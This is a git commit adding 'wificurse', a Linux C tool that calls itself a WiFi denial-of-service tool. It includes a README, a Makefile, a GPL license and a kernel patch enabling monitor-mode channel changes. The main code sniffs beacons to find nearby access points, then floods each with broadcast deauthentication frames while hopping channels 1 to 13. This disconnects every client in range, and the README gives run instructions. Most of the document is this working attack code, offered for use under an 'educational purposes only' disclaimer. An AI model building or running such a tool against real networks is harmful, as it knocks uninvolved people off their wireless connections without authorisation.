commit 225b545a0326dcbd9cead9bd17e12f32bd6bf3ee
Author: oblique <psyberbits@gmail.com>
Date: Wed, 29 Feb 2012 18:57:29 +0200
wificurse first commit
Diffstat:
| A | LICENSE | | | 674 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
| A | Makefile | | | 13 | +++++++++++++ |
| A | README | | | 18 | ++++++++++++++++++ |
| A | error.c | | | 61 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
| A | error.h | | | 40 | ++++++++++++++++++++++++++++++++++++++++ |
| A | patches/cfg80211_monitor_mode_channel_-1_fix.patch | | | 14 | ++++++++++++++ |
| A | wificurse.c | | | 363 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
| A | wificurse.h | | | 99 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
8 files changed, 1282 insertions(+), 0 deletions(-)
diff --git a/LICENSE b/LICENSE
@@ -0,0 +1,674 @@
+ GNU GENERAL PUBLIC LICENSE
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+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+ <one line to give the program's name and a brief idea of what it does.>
+ Copyright (C) <year> <name of author>
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+ If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+ <program> Copyright (C) <year> <name of author>
+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+ This is free software, and you are welcome to redistribute it
+ under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+ You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<http://www.gnu.org/licenses/>.
+
+ The GNU General Public License does not permit incorporating your program
+into proprietary programs. If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library. If this is what you want to do, use the GNU Lesser General
+Public License instead of this License. But first, please read
+<http://www.gnu.org/philosophy/why-not-lgpl.html>.
diff --git a/Makefile b/Makefile
@@ -0,0 +1,13 @@
+CC = $(CROSS_COMPILE)gcc
+OBJS = wificurse.o error.o
+
+all: wificurse
+
+wificurse: $(OBJS)
+ $(CC) -o $@ $^
+
+%.o: %.c %.h
+ $(CC) -c -o $@ $<
+
+clean:
+ @rm -f *~ *.o wificurse
diff --git a/README b/README
@@ -0,0 +1,17 @@
+This program listens for beacons send from wireless access points
+in the range of your wireless station. Once received the program
+extracts the BSSID of the AP and transmits deauthentication packages
+using the broadcast MAC address. This results to the disconnection
+of all clients connected at the AP at the time of the attack. This
+is essencially a WiFi DoS attack tool created for educational
+purposes only. It works only in Linux and requires wireless card
+drivers capable of injecting packets in wireless networks.
+
+If your Linux kernel is version 2.6.35 or above, you have to
+apply the patch patches/cfg80211_monitor_mode_channel_-1_fix.patch
+to the kernel.
+
+How to use it: Just run it as root and put as first argument the
+card interface. It will put your interface in monitor mode automatically,
+it will start DoSing and change channel every 3 seconds. The channel
+range is 1 - 13.
+\ No newline at end of file
diff --git a/error.c b/error.c
@@ -0,0 +1,61 @@
+/*
+ wificurse - WiFi DoS tool
+ Copyright (C) <2012> <oblique>
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdarg.h>
+#include <string.h>
+#include "error.h"
+
+struct _error {
+ int errnum;
+ int line;
+ char *file;
+ char msg[1024];
+};
+
+static struct _error __thread _error;
+
+
+void set_error(char *file, int line, int errnum, char *fmt, ...) {
+ va_list args;
+
+ _error.file = file;
+ _error.line = line;
+ _error.errnum = errnum;
+ va_start(args, fmt);
+ vsnprintf(_error.msg, sizeof(_error.msg), fmt, args);
+ va_end(args);
+}
+
+void print_error() {
+ char buf[1024];
+ strerror_r(_error.errnum, buf, sizeof(buf));
+ fprintf(stderr, "%s:%d: %s: %s\n", _error.file, _error.line, _error.msg, buf);
+}
+
+void _err_msg(char *file, int line, int errnum, char *fmt, ...) {
+ char buf[1024], msg[1024];
+ va_list args;
+
+ va_start(args, fmt);
+ vsnprintf(msg, sizeof(msg), fmt, args);
+ va_end(args);
+ strerror_r(errnum, buf, sizeof(buf));
+ fprintf(stderr, "%s:%d: %s: %s\n", file, line, msg, buf);
+}
diff --git a/error.h b/error.h
@@ -0,0 +1,40 @@
+/*
+ wificurse - WiFi DoS tool
+ Copyright (C) <2012> <oblique>
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#ifndef ERROR_H
+#define ERROR_H
+
+#include <errno.h>
+
+
+void set_error(char *file, int line, int errnum, char *fmt, ...);
+void print_error();
+void _err_msg(char *file, int line, int errnum, char *fmt, ...);
+
+#define GOTERR -1
+
+#define return_error(fmt, ...) \
+do { \
+ set_error(__FILE__, __LINE__, errno, fmt, ##__VA_ARGS__); \
+ return GOTERR; \
+} while(0)
+
+#define err_msg(fmt, ...) \
+ _err_msg(__FILE__, __LINE__, errno, fmt, ##__VA_ARGS__);
+
+#endif
diff --git a/patches/cfg80211_monitor_mode_channel_-1_fix.patch b/patches/cfg80211_monitor_mode_channel_-1_fix.patch
@@ -0,0 +1,14 @@
+diff --git a/net/wireless/chan.c b/net/wireless/chan.c
+index 2fcfe09..3f63fae 100644
+--- a/net/wireless/chan.c
++++ b/net/wireless/chan.c
+@@ -85,9 +85,6 @@ int cfg80211_set_freq(struct cfg80211_registered_device *rdev,
+ struct ieee80211_channel *chan;
+ int result;
+
+- if (wdev && wdev->iftype == NL80211_IFTYPE_MONITOR)
+- wdev = NULL;
+-
+ if (wdev) {
+ ASSERT_WDEV_LOCK(wdev);
+
diff --git a/wificurse.c b/wificurse.c
@@ -0,0 +1,363 @@
+/*
+ wificurse - WiFi DoS tool
+ Copyright (C) <2012> <oblique>
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <errno.h>
+#include <poll.h>
+#include <signal.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <net/ethernet.h>
+#include <netpacket/packet.h>
+#include <linux/wireless.h>
+#include "error.h"
+#include "wificurse.h"
+
+
+void init_dev(struct dev *dev) {
+ memset(dev, 0, sizeof(*dev));
+ dev->fd = -1;
+}
+
+/* man 7 netdevice
+ * man 7 packet
+ */
+int iw_open(struct dev *dev) {
+ struct ifreq ifr;
+ struct iwreq iwr;
+ struct sockaddr_ll sll;
+ struct packet_mreq mreq;
+ int fd;
+
+ fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
+ if (fd < 0)
+ return_error("socket");
+ dev->fd = fd;
+
+ // save current interface flags
+ memset(&dev->old_flags, 0, sizeof(dev->old_flags));
+ strncpy(dev->old_flags.ifr_name, dev->ifname, sizeof(dev->old_flags.ifr_name)-1);
+ if (ioctl(fd, SIOCGIFFLAGS, &dev->old_flags) < 0)
+ return_error("ioctl(SIOCGIFFLAGS)");
+
+ // save current interface mode
+ memset(&dev->old_mode, 0, sizeof(dev->old_mode));
+ strncpy(dev->old_mode.ifr_name, dev->ifname, sizeof(dev->old_mode.ifr_name)-1);
+ if (ioctl(fd, SIOCGIWMODE, &dev->old_mode) < 0)
+ return_error("ioctl(SIOCGIWMODE)");
+
+ // set interface down (ifr_flags = 0)
+ memset(&ifr, 0, sizeof(ifr));
+ strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1);
+ if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
+ return_error("ioctl(SIOCSIFFLAGS)");
+
+ // set monitor mode
+ memset(&iwr, 0, sizeof(iwr));
+ strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1);
+ iwr.u.mode = IW_MODE_MONITOR;
+ if (ioctl(fd, SIOCSIWMODE, &iwr) < 0)
+ return_error("ioctl(SIOCSIWMODE)");
+
+ // set interface up, broadcast and running
+ ifr.ifr_flags = IFF_UP | IFF_BROADCAST | IFF_RUNNING;
+ if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
+ return_error("ioctl(SIOCSIFFLAGS)");
+
+ // get interface index
+ if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
+ return_error("ioctl(SIOCGIFINDEX)");
+ dev->ifindex = ifr.ifr_ifindex;
+
+ // bind interface to socket
+ memset(&sll, 0, sizeof(sll));
+ sll.sll_family = AF_PACKET;
+ sll.sll_ifindex = dev->ifindex;
+ sll.sll_protocol = htons(ETH_P_ALL);
+ if (bind(fd, (struct sockaddr*)&sll, sizeof(sll)) < 0)
+ return_error("bind(%s)", dev->ifname);
+
+ // enable promiscuous mode
+ memset(&mreq, 0, sizeof(mreq));
+ mreq.mr_ifindex = dev->ifindex;
+ mreq.mr_type = PACKET_MR_PROMISC;
+ if (setsockopt(fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0)
+ return_error("setsockopt(PACKET_MR_PROMISC)");
+
+ return 0;
+}
+
+void iw_close(struct dev *dev) {
+ struct ifreq ifr;
+
+ if (dev->fd == -1)
+ return;
+
+ // set interface down (ifr_flags = 0)
+ memset(&ifr, 0, sizeof(ifr));
+ strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1);
+ ioctl(dev->fd, SIOCSIFFLAGS, &ifr);
+ // restore old mode
+ ioctl(dev->fd, SIOCSIWMODE, &dev->old_mode);
+ // restore old flags
+ ioctl(dev->fd, SIOCSIFFLAGS, &dev->old_flags);
+ close(dev->fd);
+}
+
+ssize_t iw_write(int fd, void *buf, size_t count) {
+ unsigned char *pbuf, *pkt;
+ struct radiotap_hdr *rt_hdr;
+ struct write_radiotap_data *w_rt_data;
+ ssize_t r;
+
+ pbuf = malloc(sizeof(*rt_hdr) + sizeof(*w_rt_data) + count);
+ if (pbuf == NULL)
+ return_error("malloc");
+
+ rt_hdr = (struct radiotap_hdr*)pbuf;
+ w_rt_data = (struct write_radiotap_data*)(pbuf + sizeof(*rt_hdr));
+ pkt = pbuf + sizeof(*rt_hdr) + sizeof(*w_rt_data);
+
+ // radiotap header
+ memset(rt_hdr, 0, sizeof(*rt_hdr));
+ rt_hdr->len = sizeof(*rt_hdr) + sizeof(*w_rt_data);
+ rt_hdr->present = RADIOTAP_F_PRESENT_RATE | RADIOTAP_F_PRESENT_TX_FLAGS;
+ // radiotap fields
+ memset(w_rt_data, 0, sizeof(*w_rt_data));
+ w_rt_data->rate = 2; // 1 Mb/s
+ w_rt_data->tx_flags = RADIOTAP_F_TX_FLAGS_NOACK | RADIOTAP_F_TX_FLAGS_NOSEQ;
+ // packet
+ memcpy(pkt, buf, count);
+
+ r = send(fd, pbuf, rt_hdr->len + count, 0);
+ if (r < 0) {
+ free(pbuf);
+ return_error("send");
+ }
+
+ free(pbuf);
+ return r - rt_hdr->len;
+}
+
+ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) {
+ struct radiotap_hdr *rt_hdr;
+ int r;
+
+ // read packet, nonblocking mode
+ r = recv(fd, buf, count, MSG_DONTWAIT);
+ if (r < 0) {
+ if (errno == EAGAIN) // no packets to recieve
+ return -EAGAIN;
+ return_error("recv");
+ }
+
+ rt_hdr = buf;
+ if (sizeof(*rt_hdr) >= r || rt_hdr->len >= r)
+ return -EAGAIN;
+
+ *pkt = buf + rt_hdr->len;
+ *pkt_sz = r - rt_hdr->len;
+
+ return r;
+}
+
+int iw_set_channel(struct dev *dev, int chan) {
+ struct iwreq iwr;
+
+ memset(&iwr, 0, sizeof(iwr));
+ strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1);
+ iwr.u.freq.flags = IW_FREQ_FIXED;
+ iwr.u.freq.m = chan;
+
+ if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0)
+ return_error("ioctl(SIOCSIWFREQ)");
+
+ dev->chan = chan;
+
+ return 0;
+}
+
+int send_deauth(int fd, unsigned char *ap_mac) {
+ struct mgmt_frame *deauth;
+ uint16_t *reason;
+ int i;
+
+ deauth = malloc(sizeof(*deauth) + sizeof(*reason));
+ if (deauth == NULL)
+ return_error("malloc");
+
+ memset(deauth, 0, sizeof(deauth));
+ deauth->fc.subtype = FRAME_CONTROL_SUBTYPE_DEAUTH;
+ // broadcast mac (ff:ff:ff:ff:ff:ff)
+ memset(deauth->dest_mac, '\xff', IFHWADDRLEN);
+ memcpy(deauth->src_mac, ap_mac, IFHWADDRLEN);
+ memcpy(deauth->bssid, ap_mac, IFHWADDRLEN);
+ reason = (uint16_t*)&deauth->frame_body;
+ // reason 7: Class 3 frame received from nonassociated STA
+ *reason = htons(7);
+
+ // flood the network
+ for (i=0; i<128; i++) {
+ deauth->sc.sequence = i;
+ if (iw_write(fd, deauth, sizeof(*deauth) + sizeof(*reason)) < 0) {
+ free(deauth);
+ return GOTERR;
+ }
+ usleep(2000);
+ }
+
+ free(deauth);
+
+ return 0;
+}
+
+int read_bssid(int fd, uint8_t *bssid) {
+ uint8_t buf[256], *pkt;
+ size_t pkt_sz;
+ ssize_t r;
+ struct mgmt_frame *beacon;
+
+ r = iw_read(fd, buf, sizeof(buf), &pkt, &pkt_sz);
+ if (r == -EAGAIN)
+ return -EAGAIN;
+ else if (r < 0)
+ return GOTERR;
+
+ beacon = (struct mgmt_frame*)pkt;
+
+ // if beacon packet
+ if (beacon->fc.subtype == FRAME_CONTROL_SUBTYPE_BEACON) {
+ memcpy(bssid, beacon->bssid, IFHWADDRLEN);
+ return 0;
+ }
+
+ return -EAGAIN;
+}
+
+void print_mac(uint8_t *mac) {
+ int i;
+
+ for (i=0; i<5; i++)
+ printf("%02x:", mac[i]);
+ printf("%02x", mac[i]);
+}
+
+
+int main(int argc, char *argv[]) {
+ struct dev dev;
+ uint8_t bssid[IFHWADDRLEN];
+ sigset_t exit_sig;
+ struct pollfd pfd;
+ time_t tm1;
+ int chan, ret, sigfd;
+
+ if (argc != 2) {
+ fprintf(stderr, "usage: wificurse <interface>\n");
+ return EXIT_FAILURE;
+ }
+
+ if (getuid()) {
+ fprintf(stderr, "Not root?\n");
+ return EXIT_FAILURE;
+ }
+
+
+ // init signals
+ sigemptyset(&exit_sig);
+ sigaddset(&exit_sig, SIGINT);
+ sigaddset(&exit_sig, SIGTERM);
+
+ if (sigprocmask(SIG_BLOCK, &exit_sig, NULL) < 0) {
+ err_msg("sigprocmask");
+ return EXIT_FAILURE;
+ }
+
+ sigfd = signalfd(-1, &exit_sig, 0);
+ if (sigfd < 0) {
+ err_msg("signalfd");
+ return EXIT_FAILURE;
+ }
+
+ pfd.fd = sigfd;
+ pfd.revents = 0;
+ pfd.events = POLLIN;
+
+
+ init_dev(&dev);
+ strncpy(dev.ifname, argv[1], sizeof(dev.ifname)-1);
+
+ if (iw_open(&dev) < 0) {
+ print_error();
+ goto _errout;
+ }
+
+ tm1 = time(NULL);
+ chan = 1;
+
+ if (iw_set_channel(&dev, chan) < 0) {
+ print_error();
+ goto _errout;
+ }
+ printf("Channel: %d\n", dev.chan);
+
+ while (1) {
+ if (poll(&pfd, 1, 0) < 0) {
+ err_msg("poll");
+ goto _errout;
+ }
+
+ if (pfd.revents & POLLIN) // got SIGTERM or SIGINT
+ break;
+
+ if (time(NULL) - tm1 >= 3) { // change channel every 3 seconds
+ chan = (chan % 13) + 1;
+ if (iw_set_channel(&dev, chan) < 0) {
+ print_error();
+ goto _errout;
+ }
+ printf("Channel: %d\n", dev.chan);
+ tm1 = time(NULL);
+ }
+
+ ret = read_bssid(dev.fd, bssid);
+ if (ret == -EAGAIN)
+ continue;
+ if (ret < 0) { // error
+ print_error();
+ goto _errout;
+ } else { // got BSSID
+ printf("DoS BSSID ");
+ print_mac(bssid);
+ printf("\n");
+ if (send_deauth(dev.fd, bssid) < 0) {
+ print_error();
+ goto _errout;
+ }
+ }
+ }
+
+ printf("\nExiting..\n");
+ iw_close(&dev);
+ return EXIT_SUCCESS;
+_errout:
+ iw_close(&dev);
+ return EXIT_FAILURE;
+}
diff --git a/wificurse.h b/wificurse.h
@@ -0,0 +1,99 @@
+/*
+ wificurse - WiFi DoS tool
+ Copyright (C) <2012> <oblique>
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#ifndef WIFICURSE_H
+#define WIFICURSE_H
+
+#include <stdlib.h>
+#include <stdint.h>
+#include <sys/socket.h>
+#include <linux/if.h>
+
+
+struct dev {
+ char ifname[IFNAMSIZ+1];
+ int ifindex;
+ int fd;
+ int chan;
+ struct ifreq old_flags;
+ struct iwreq old_mode;
+};
+
+
+struct radiotap_hdr {
+ uint8_t version;
+ uint8_t pad;
+ uint16_t len;
+ uint32_t present;
+} __attribute__((__packed__));
+
+struct write_radiotap_data {
+ uint8_t rate;
+ uint8_t pad;
+ uint16_t tx_flags;
+} __attribute__((__packed__));
+
+#define RADIOTAP_F_PRESENT_RATE (1<<2)
+#define RADIOTAP_F_PRESENT_TX_FLAGS (1<<15)
+#define RADIOTAP_F_TX_FLAGS_NOACK 0x0008
+#define RADIOTAP_F_TX_FLAGS_NOSEQ 0x0010
+
+struct frame_control {
+ uint8_t protocol_version:2;
+ uint8_t type:2;
+ uint8_t subtype:4;
+ uint8_t to_ds:1;
+ uint8_t from_ds:1;
+ uint8_t more_frag:1;
+ uint8_t retry:1;
+ uint8_t pwr_mgt:1;
+ uint8_t more_data:1;
+ uint8_t protected_frame:1;
+ uint8_t order:1;
+} __attribute__((__packed__));
+
+#define FRAME_CONTROL_SUBTYPE_DEAUTH 12
+#define FRAME_CONTROL_SUBTYPE_BEACON 8
+
+struct sequence_control {
+ uint16_t fragment:4;
+ uint16_t sequence:12;
+} __attribute__((__packed__));
+
+struct mgmt_frame {
+ struct frame_control fc;
+ uint16_t duration;
+ uint8_t dest_mac[IFHWADDRLEN];
+ uint8_t src_mac[IFHWADDRLEN];
+ uint8_t bssid[IFHWADDRLEN];
+ struct sequence_control sc;
+ uint8_t frame_body[];
+} __attribute__((__packed__));
+
+
+void init_dev(struct dev *dev);
+int iw_open(struct dev *dev);
+void iw_close(struct dev *dev);
+ssize_t iw_write(int fd, void *buf, size_t count);
+ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz);
+int iw_set_channel(struct dev *dev, int chan);
+int send_deauth(int fd, unsigned char *ap_mac);
+int read_bssid(int fd, uint8_t *bssid);
+void print_mac(uint8_t *mac);
+
+#endif
